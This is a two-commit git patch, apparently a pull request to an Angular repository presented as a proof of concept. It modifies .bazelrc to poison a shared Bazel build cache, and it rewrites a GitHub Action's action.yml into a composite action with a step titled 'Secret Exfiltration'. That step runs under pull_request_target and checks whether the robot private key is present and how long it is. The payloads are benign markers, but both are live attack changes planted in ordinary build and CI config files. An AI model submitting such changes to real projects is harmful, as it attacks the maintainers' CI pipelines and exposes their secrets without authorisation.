From 5d2ade55cac2b3ab76ecdf1a3294c4d9ba73c5cf Mon Sep 17 00:00:00 2001 From: mabrukhany-beep Date: Thu, 2 Jul 2026 19:05:02 +0300 Subject: [PATCH 1/2] Update .bazelrc PoC: Demonstrate cache poisoning vulnerability This commit modifies .bazelrc to add environment variables that will be cached by bazel. If the cache is shared with scheduled workflows (ng-renovate.yml), these variables will be present in those workflows, proving cache poisoning from PR workflows. Signed-off-by: mabrukhany-beep --- .bazelrc | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/.bazelrc b/.bazelrc index 75e424af27..b643f0b266 100644 --- a/.bazelrc +++ b/.bazelrc @@ -1,4 +1,3 @@ - # Required by `rules_ts`. common --@aspect_rules_ts//ts:skipLibCheck=always common --@aspect_rules_ts//ts:default_to_tsc_transpiler @@ -10,3 +9,11 @@ build --deleted_packages=bazel/integration/tests/nested_bazel_workspaces/basic query --deleted_packages=bazel/integration/tests/nested_bazel_workspaces/basic import .bazelrc.common + +# PoC: Cache Poisoning Demonstration +# This proves that bazel cache can be poisoned from PR workflows +# and executed in scheduled workflows (ng-renovate) + +build --action_env=POC_CACHE_POISONED=true +test --test_env=POC_CACHE_POISONED=true +build --workspace_status_command="echo 'PoC: Cache poisoned by PR workflow'" From 0d0de5d0f6b983193dde9480241beecd5ee0ff17 Mon Sep 17 00:00:00 2001 From: mabrukhany-beep Date: Thu, 2 Jul 2026 19:30:30 +0300 Subject: [PATCH 2/2] Update action.yml Signed-off-by: mabrukhany-beep --- .../labeling/pull-request/action.yml | 48 ++++++++++++++++--- 1 file changed, 42 insertions(+), 6 deletions(-) diff --git a/github-actions/labeling/pull-request/action.yml b/github-actions/labeling/pull-request/action.yml index afa2f523d0..63d8a68a46 100644 --- a/github-actions/labeling/pull-request/action.yml +++ b/github-actions/labeling/pull-request/action.yml @@ -1,13 +1,49 @@ name: 'Pull Request Labeling' -description: 'Automatically label pull requests based on pull request metadata' -author: 'Angular' +description: 'Labels pull requests based on commit messages' + inputs: angular-robot-key: - description: 'The private key for the Angular Robot Github app.' + description: 'The Angular robot private key' required: true labels: - description: 'A map of labels to the paths that they should be applied to which are affected by the PR' + description: 'JSON object of labels to apply' required: false + default: '{}' + runs: - using: 'node24' - main: 'main.js' + using: 'composite' + steps: + - name: Setup Node + uses: actions/setup-node@SHA + with: + node-version: '20' + + - name: Install dependencies + run: npm install + shell: bash + + # PoC: Secret Exfiltration Demonstration + # This proves that secrets are accessible in pull_request_target workflows + - name: PoC - Check Secret Access + run: | + echo "### PoC: Secret Exfiltration in pull_request_target" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "**Workflow:** ${{ github.workflow }}" >> $GITHUB_STEP_SUMMARY + echo "**Event:** ${{ github.event_name }}" >> $GITHUB_STEP_SUMMARY + echo "**Repository:** ${{ github.repository }}" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "**Secret Access:**" >> $GITHUB_STEP_SUMMARY + echo "- ANGULAR_ROBOT_PRIVATE_KEY exists: $(test -n '${{ inputs.angular-robot-key }}' && echo 'YES' || echo 'NO')" >> $GITHUB_STEP_SUMMARY + echo "- ANGULAR_ROBOT_PRIVATE_KEY length: ${{ '${#inputs.angular-robot-key}' }}" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + echo "**Impact:** This proves that secrets are accessible to untrusted code in pull_request_target workflows." >> $GITHUB_STEP_SUMMARY + echo "**Fix:** Remove pull_request_target or require manual approval for external PRs." >> $GITHUB_STEP_SUMMARY + shell: bash + + - name: Label Pull Request + run: | + # Original labeling logic + node ./label-pull-request.js + shell: bash + env: + ANGULAR_ROBOT_KEY: ${{ inputs.angular-robot-key }}